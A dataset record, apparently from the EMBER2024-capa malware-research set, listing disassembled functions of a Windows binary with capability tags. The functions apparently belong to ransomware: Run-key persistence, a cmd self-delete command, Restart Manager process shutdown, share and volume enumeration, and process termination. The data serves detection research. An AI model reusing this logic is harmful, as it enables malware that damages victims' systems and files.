joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4019d1
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, dword [0x4a3a60]
cmp esi, 0x270
jl 0x40199b
push ebx
xor esi, esi
mov ebx, SysReAllocString
push edi
mov edx, esi
mov ecx, dword [edx*4 + 0x4a30a4]
xor ecx, dword [edx*4 + 0x4a30a0]
and ecx, ebx
xor ecx, dword [edx*4 + 0x4a30a0]
mov eax, ecx
shr ecx, 1
and eax, 1
xor ecx, dword [eax*4 + 0x48baf8]
xor ecx, dword [edx*4 + 0x4a36d4]
mov dword [edx*4 + 0x4a30a0], ecx
inc edx
cmp edx, 0xe3
jl 0x4018f7
lea edi, [edx*4 + 0x4a30a0]
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, ebx
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
mov eax, dword [eax*4 + 0x48baf8]
xor eax, dword [edx - 0x390]
xor eax, ecx
mov dword [edi], eax
mov edi, edx
mov eax, dword [edx]
cmp edi, 0x4a3a5c
jl 0x40193c
mov ecx, dword [0x4a30a0]
xor ecx, dword [0x4a3a5c]
and ecx, ebx
xor ecx, dword [0x4a3a5c]
mov eax, ecx
shr ecx, 1
and eax, 1
pop edi
pop ebx
xor ecx, dword [eax*4 + 0x48baf8]
xor ecx, dword [0x4a36d0]
mov dword [0x4a3a5c], ecx
mov ecx, dword [esi*4 + 0x4a30a0]
mov eax, ecx
shr eax, 0xb
inc esi
xor ecx, eax
mov dword [0x4a3a60], esi
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
pop esi
ret
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [0x4a309c]
je 0x401a18
xor edx, edx
mov dword [0x4a309c], eax
mov dword [0x4a30a0], eax
inc edx
mov eax, dword [edx*4 + 0x4a309c]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [edx*4 + 0x4a30a0], eax
inc edx
cmp edx, 0x270
jl 0x4019ec
mov dword [0x4a3a60], edx
jmp 0x4018d9

Function at 0x401a1d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 0x410]
push esi
push edi
push eax
mov edi, 0xf6
mov esi, edx
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x401a87
cmp eax, edi
ja 0x401a87
push 0x48c218
call fcn.004019d1
push eax
push str._08x._s
lea eax, [ebp - 0x208]
push 0x104
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x410]
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
test eax, eax
je 0x401a87
mov al, 1
jmp 0x401a89
xor al, al
pop edi
pop esi
leave
ret

Function at 0x401a8d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 4], edx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x401add
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push ebx
push eax
push edi
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401ad5
cmp dword [ebp - 8], edi
jne 0x401ad5
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x401ae3
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
xor ebx, ebx
mov edi, ecx
push 0x3c
mov esi, edx
mov eax, ebx
pop ecx
mov byte [ebp + eax - 0x3c], bl
inc eax
cmp eax, ecx
jb 0x401af7
xor eax, eax
mov dword [ebp - 0x3c], ecx
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
mov eax, ebx
mov byte [eax + esi], bl
inc eax
cmp eax, 0x10
jb 0x401b11
lea eax, [ebp - 0x3c]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
je 0x401bed
mov ecx, dword [ebp - 0x28]
lea ecx, [ecx + 1]
call fcn.004015d0
mov dword [esi], eax
test eax, eax
je 0x401bed
mov edx, dword [ebp - 0x2c]
test edx, edx
je 0x401b5d
push dword [ebp - 0x28]
mov ecx, eax
call fcn.00401640
pop ecx
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x401b78
mov eax, dword [ebp - 0x10]
cmp byte [eax], 0x2f
jne 0x401b78
dec ecx
inc eax
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], eax
test ecx, ecx
jne 0x401b67
mov edi, dword [ebp - 4]
add edi, ecx
lea ecx, [edi + 2]
call fcn.004015d0
mov ecx, eax
mov dword [esi + 4], ecx
test ecx, ecx
je 0x401bc2
mov byte [ecx], 0x2f
mov edx, dword [ebp - 0x10]
test edx, edx
je 0x401ba5
push dword [ebp - 0xc]
inc ecx
call fcn.00401640
pop ecx
mov ecx, dword [esi + 4]
mov edx, dword [ebp - 8]
test edx, edx
je 0x401bbe
mov eax, dword [ebp - 0xc]
push dword [ebp - 4]
inc eax
add ecx, eax
call fcn.00401640
pop ecx
mov ecx, dword [esi + 4]
mov byte [ecx + edi + 1], bl
mov eax, dword [ebp - 0xc]
inc eax
mov dword [esi + 8], eax
mov ax, word [ebp - 0x24]
mov word [esi + 0xc], ax
mov eax, dword [ebp - 0x30]
sub eax, 3
je 0x401be9
sub eax, 1
je 0x401be3
mov byte [esi + 0xe], bl
jmp 0x401bed
mov byte [esi + 0xe], 2
jmp 0x401bed
mov byte [esi + 0xe], 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4033f9
Capabilities:
Create thread

Disassembly:
mov eax, 0x477a2c
call fcn.00477780
sub esp, 0xc
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x10], esi
push edi
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [ebp - 4], ebx
push 0x30
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
call fcn.0041dfce
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [esi + 0xc], eax
lea eax, [esi + 0x1c]
mov dword [esi + 0x14], ebx
push eax
mov word [esi + 0x18], bx
call fcn.0041ef0c
lea eax, [esi + 0x44]
push eax
call fcn.0041ef0c
lea eax, [esi + 0x6c]
push 2
push eax
call fcn.0041fb94
lea eax, [esi + 0x9c]
push 2
push eax
call fcn.0041fb94
add esp, 0x1c
mov byte [ebp - 4], 5
xor edi, edi
mov ebx, dword [ebp + 8]
mov dword [esi + 0xcc], ebx
test ebx, ebx
je 0x4034e5
push 4
call fcn.0041dfce
mov dword [ebp + 8], eax
mov dword [eax], esi
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 6
push ecx
xor ecx, ecx
push ecx
push eax
push 0x41d7a8
push ecx
push ecx
call fcn.00449453
mov edx, eax
add esp, 0x1c
mov dword [ebp - 0x18], edx
test edx, edx
je 0x4034f8
mov byte [ebp - 4], 7
mov ecx, dword [esi + 4]
cmp ecx, dword [esi + 8]
je 0x4034ca
mov eax, dword [ebp - 0x14]
xorps xmm0, xmm0
movlpd qword [ebp - 0x18], xmm0
mov dword [ecx], edx
mov dword [ecx + 4], eax
add dword [esi + 4], 8
jmp 0x4034d6
lea eax, [ebp - 0x18]
push eax
push ecx
mov ecx, esi
call fcn.0041cdbe
mov byte [ebp - 4], 5
cmp dword [ebp - 0x14], 0
jne 0x403503
inc edi
cmp edi, ebx
jb 0x403478
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
and dword [ebp - 0x14], 0
push 6
call fcn.0041f157
call fcn.0044992f
int3
Function at 0x41806d
Capabilities:
Get hostname
Get session user name

Disassembly:
mov eax, 0x477ac7
call fcn.00477780
sub esp, 0x2c8
push ebx
push esi
push edi
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x10
push eax
lea eax, [ebp - 0x9c]
mov esi, ecx
push eax
mov dword [ebp - 0x7c], esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
xor ebx, ebx
lea ecx, [ebp - 0x48]
test eax, eax
je 0x4180b7
push dword [ebp - 0x18]
lea eax, [ebp - 0x9c]
push eax
call fcn.0041bc22
jmp 0x4180bd
push ebx
call fcn.0041bbfd
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
lea eax, [ebp - 0x2d4]
mov dword [ebp - 0x14], 0x101
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea ecx, [ebp - 0x30]
test eax, eax
je 0x4180f0
push dword [ebp - 0x14]
lea eax, [ebp - 0x2d4]
push eax
call fcn.0041bc22
jmp 0x4180f6
push ebx
call fcn.0041bbfd
push 8
pop edi
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x48]
cmp dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x38]
cmovae ecx, dword [ebp - 0x48]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x48]
cmovae ecx, dword [ebp - 0x48]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x78]
call fcn.0041caf2
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x30]
cmp dword [ebp - 0x1c], edi
mov eax, dword [ebp - 0x20]
cmovae ecx, dword [ebp - 0x30]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x30]
cmovae ecx, dword [ebp - 0x30]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x60]
call fcn.0041caf2
mov byte [ebp - 4], 3
mov eax, SysReAllocString
sub eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x50]
jb 0x418232
cmp dword [ebp - 0x64], 0x10
lea ecx, [ebp - 0x78]
push dword [ebp - 0x50]
cmovae ecx, dword [ebp - 0x78]
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
cmovae eax, dword [ebp - 0x60]
push eax
push dword [ebp - 0x68]
push ecx
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x94]
call fcn.0041d4dd
mov byte [ebp - 4], 4
lea eax, [ebp - 0x94]
cmp dword [ebp - 0x80], 0x10
lea edi, [ebp - 0x9e]
push dword [ebp - 0x84]
cmovae eax, dword [ebp - 0x94]
push eax
push 0x811c9dc5
call fcn.004020b5
add esp, 0xc
mov ecx, eax
mov eax, ecx
xor edx, edx
push 0xa
pop ecx
div ecx
sub edi, 2
mov ecx, eax
lea eax, [edx + 0x30]
mov word [edi], ax
test ecx, ecx
jne 0x4181b8
xor eax, eax
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], 7
mov word [esi], ax
lea eax, [ebp - 0x9e]
cmp edi, eax
je 0x4181f6
sub eax, edi
mov ecx, esi
sar eax, 1
push eax
push edi
call fcn.0041c3cd
lea ecx, [ebp - 0x94]
call fcn.0041c51b
lea ecx, [ebp - 0x60]
call fcn.0041c51b
lea ecx, [ebp - 0x78]
call fcn.0041c51b
lea ecx, [ebp - 0x30]
call fcn.0041c310
lea ecx, [ebp - 0x48]
call fcn.0041c310
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
call fcn.00402219
int3
Function at 0x41829e
Capabilities:
Create process on windows
Terminate process

Disassembly:
mov eax, 0x477ae0
call fcn.00477780
sub esp, 0x58
push esi
xor esi, esi
mov dword [ebp - 0x14], 7
push esi
xor eax, eax
mov dword [ebp - 0x18], esi
push 0x104
lea ecx, [ebp - 0x28]
mov word [ebp - 0x28], ax
call fcn.0041c35b
mov dword [ebp - 4], esi
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
push dword [ebp - 0x18]
cmovae eax, dword [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x418346
lea ecx, [ebp - 0x28]
cmp eax, dword [ebp - 0x18]
ja 0x4182f9
push eax
call fcn.0041c33e
jmp 0x418303
sub eax, dword [ebp - 0x18]
push esi
push eax
call fcn.0041c41b
push 0x38
lea eax, [ebp - 0x60]
mov dword [ebp - 0x64], 0x3c
push esi
push eax
call fcn.0043c760
add esp, 0xc
mov dword [ebp - 0x58], str.runas
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
mov dword [ebp - 0x5c], esi
cmovae eax, dword [ebp - 0x28]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x64]
push eax
mov dword [ebp - 0x48], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x41835b
lea ecx, [ebp - 0x28]
call fcn.0041c310
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
leave
ret
push esi
call fcn.00445ff9
int3

Function at 0x418362
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push edi
xor ebx, ebx
lea eax, [ebp - 0x414]
push 0x410
push ebx
push eax
mov esi, edx
mov dword [ebp - 4], ebx
call fcn.0043c760
push 0x48be34
mov edi, 0x208
lea eax, [ebp - 0x414]
push edi
push eax
call fcn.004494e4
push esi
lea eax, [ebp - 0x414]
push edi
push eax
call fcn.00449548
push 0x48be38
lea eax, [ebp - 0x414]
push edi
push eax
call fcn.00449548
push 0x48be9c
lea eax, [ebp - 0x414]
push edi
push eax
call fcn.00449548
add esp, 0x3c
lea eax, [ebp - 4]
push ebx
push eax
push ebx
push 0x2001f
push ebx
push ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
sete bl
test eax, eax
jne 0x418439
lea ecx, [ebp - 0x414]
xor esi, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x418405
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x414]
push eax
push 1
push esi
push 0x48bea0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
neg eax
sbb ebx, ebx
inc ebx
cmp dword [ebp - 4], 0
je 0x418448
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x41844f
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push esi
push 0x43
mov esi, ecx
mov dword [ebp - 8], 0x3a002a
pop eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], 0x5c
mov word [ebp - 8], ax
push 0x20a
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.0043c760
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
test eax, eax
je 0x4184c5
mov ax, word [ebp - 8]
inc ax
mov word [ebp - 8], ax
cmp ax, 0x5a
jbe 0x418473
and dword [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 7
mov word [esi], ax
jmp 0x4184d0
lea eax, [ebp - 8]
mov ecx, esi
push eax
call fcn.0041bbfd
mov eax, esi
pop esi
leave
ret

Function at 0x4184d5
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8234
call fcn.00476160
push ebx
push esi
push edi
xor eax, eax
push 0x20a
push eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x230]
push eax
call fcn.0043c760
add esp, 0xc
lea eax, [ebp - 0x230]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x41851f
xor al, al
jmp 0x41862e
push 0x5c
mov bl, 1
pop edi
cmp word [ebp - 0x230], di
jne 0x4185f9
cmp word [ebp - 0x22e], di
jne 0x4185f9
cmp word [ebp - 0x22c], 0x3f
jne 0x4185f9
cmp word [ebp - 0x22a], di
jne 0x4185f9
lea ecx, [ebp - 0x230]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp - 4]
jne 0x418562
sub ecx, edx
sar ecx, 1
cmp word [ebp + ecx*2 - 0x232], di
jne 0x4185f9
xor eax, eax
push 0x8000
push eax
lea eax, [ebp - 0x8230]
push eax
call fcn.0043c760
add esp, 0xc
lea eax, [ebp - 8]
mov ecx, 0x4000
mov dword [ebp - 8], ecx
push eax
push ecx
lea eax, [ebp - 0x8230]
push eax
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x4185f9
cmp word [ebp - 0x8230], 0
jne 0x4185f9
lea ecx, [ebp - 0x20]
call fcn.0041844f
cmp dword [ebp - 0x10], 0
je 0x4185ed
cmp dword [ebp - 0xc], 8
lea ecx, [ebp - 0x230]
lea eax, [ebp - 0x20]
cmovae eax, dword [ebp - 0x20]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
jne 0x4185f1
xor eax, eax
mov bl, al
lea ecx, [ebp - 0x20]
call fcn.0041c310
push 0x104
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x418524
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
movzx ebx, bl
cmp eax, 0x12
push esi
cmovne ebx, ecx
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov al, bl
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4186e6
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp dword [esi + 0x10], ebx
je 0x418756
push 0x44
lea eax, [ebp - 0x58]
push ebx
push eax
call fcn.0043c760
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
add esp, 0xc
cmp dword [esi + 0x14], 8
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
jb 0x418718
mov esi, dword [esi]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
push 0x8000000
push 1
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x418756
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
mov al, 1
jmp 0x418758
xor al, al
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41875d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4dc
push ebx
push esi
push edi
push str.start_chrome
lea eax, [ebp - 0x4d8]
push eax
lea eax, [ebp - 0x2d0]
push str._s__c__s
push eax
call fcn.0041cc14
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x60]
push ebx
push eax
call fcn.0043c760
xor eax, eax
mov dword [ebp - 0x60], esi
lea edi, [ebp - 0x14]
add esp, 0x1c
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push 0x8000020
push ebx
push ebx
push ebx
lea eax, [ebp - 0x2d0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 4], ebx
test eax, eax
je 0x4187f8
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
mov al, 1
jmp 0x418804
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x418804
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x418809
Capabilities:
Create restart manager session
Enumerate processes that use resource

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1a90
call fcn.00476160
push ebx
push esi
push edi
push 5
mov dword [ebp - 8], ecx
lea eax, [ebp - 0x64]
pop ecx
xor ebx, ebx
lea edi, [ebp - 0x78]
push 0x50
mov esi, str.MySession
mov dword [ebp - 4], ebx
push ebx
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.0043c760
add esp, 0xc
mov dword [ebp - 0xc], 0xa
lea eax, [ebp - 0x78]
push eax
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
mov esi, eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1a90]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
push ebx
push 1
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.RstrtMgr.DLL_RmShutdown]
push dword [ebp - 4]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x418c73
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push esi
cmovae eax, dword [ebp + 8]
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x418ccc
push dword [0x4a3094]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0
lea ecx, [ebp - 4]
add eax, eax
push ecx
push eax
push dword [0x4a3094]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 8]
call fcn.0041c310
pop esi
leave
ret
Function at 0x4192ea
Capabilities:
Create thread
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xc]
push ebx
push eax
push dword [ebp + 8]
mov ebx, ecx
mov dword [ebp - 8], 0x4000
push 0
push 0
push 2
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x419476
push esi
push dword [ebp - 8]
call fcn.0044b199
mov esi, eax
mov dword [ebp - 0x18], esi
pop ecx
test esi, esi
je 0x41946c
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x419465
push edi
and dword [ebp + 8], 0
cmp dword [ebp - 4], 0
jle 0x41943f
lea edi, [esi + 0x14]
test dword [edi - 8], 2
je 0x419386
lea eax, [edi - 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebx]
mov ecx, dword [eax + 0x24]
test ecx, ecx
je 0x41947b
mov eax, dword [ecx]
lea edx, [ebp - 0x10]
push edx
call dword [eax + 8]
jmp 0x41942c
mov eax, dword [ebx + 4]
mov ecx, dword [eax]
mov eax, dword [0x4a3a68]
movzx eax, byte [eax + 0x4990]
cmp ecx, eax
jne 0x4193df
mov eax, dword [ebx + 8]
push 0xffffffffffffffff
push 1
push dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov eax, dword [ebx + 4]
and dword [ebp - 0x14], 0
cmp dword [eax], 0
jbe 0x4193dc
mov esi, dword [ebp - 0x14]
mov eax, dword [ebx + 8]
mov eax, dword [eax]
push dword [eax + esi*4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 8]
mov eax, dword [eax]
and dword [eax + esi*4], 0
inc esi
mov eax, dword [ebx + 4]
cmp esi, dword [eax]
jb 0x4193ba
mov esi, dword [ebp - 0x18]
and dword [eax], 0
push 0x208
call fcn.0044b199
mov dword [ebp - 0x14], eax
pop ecx
test eax, eax
je 0x41942c
push dword [edi]
push str.__s
push 0x104
push eax
call fcn.00402b62
add esp, 0x10
xor eax, eax
push eax
push eax
push dword [ebp - 0x14]
push fcn.00418cd7
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebx + 4]
mov edx, dword [ecx]
mov ecx, dword [ebx + 8]
mov ecx, dword [ecx]
mov dword [ecx + edx*4], eax
mov eax, dword [ebx + 4]
inc dword [eax]
mov eax, dword [ebp + 8]
add edi, 0x20
inc eax
mov dword [ebp + 8], eax
cmp eax, dword [ebp - 4]
jl 0x41935c
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x4000
push eax
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x41934b
pop edi
push esi
call fcn.0044a989
pop ecx
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
pop esi
pop ebx
leave
ret 4
call fcn.0041f2a0
int3
Function at 0x419481
Capabilities:
Create process on windows
Query environment variable
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20000
call fcn.00476160
push esi
push edi
mov edi, 0x7fff
lea eax, [ebp - 0x10000]
push edi
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x419501
lea eax, [ebp - 0x10000]
push eax
push str._c_timeout_1__del___s_____NUL
lea eax, [ebp - 0x20000]
push edi
push eax
call fcn.00402b62
add esp, 0x10
lea eax, [ebp - 0x10000]
push edi
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x419501
push esi
push esi
lea eax, [ebp - 0x20000]
push eax
lea eax, [ebp - 0x10000]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jbe 0x419501
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
leave
ret

Function at 0x419505
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
xor ebx, ebx
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 8], esi
cmp esi, 0xffffffff
je 0x4195c7
lea eax, [ebp - 0x234]
mov dword [ebp - 0x234], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x4195c0
push edi
mov edi, dword [0x4a3a68]
add edi, 0x3590
cmp word [edi], bx
je 0x4195ad
xor esi, esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x210]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x41959a
push dword [ebp - 0x22c]
push esi
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x41959a
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
lea edi, [edi + eax*2]
add edi, 2
cmp word [edi], si
jne 0x419559
mov esi, dword [ebp - 8]
xor ebx, ebx
lea eax, [ebp - 0x234]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x419546
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
leave
ret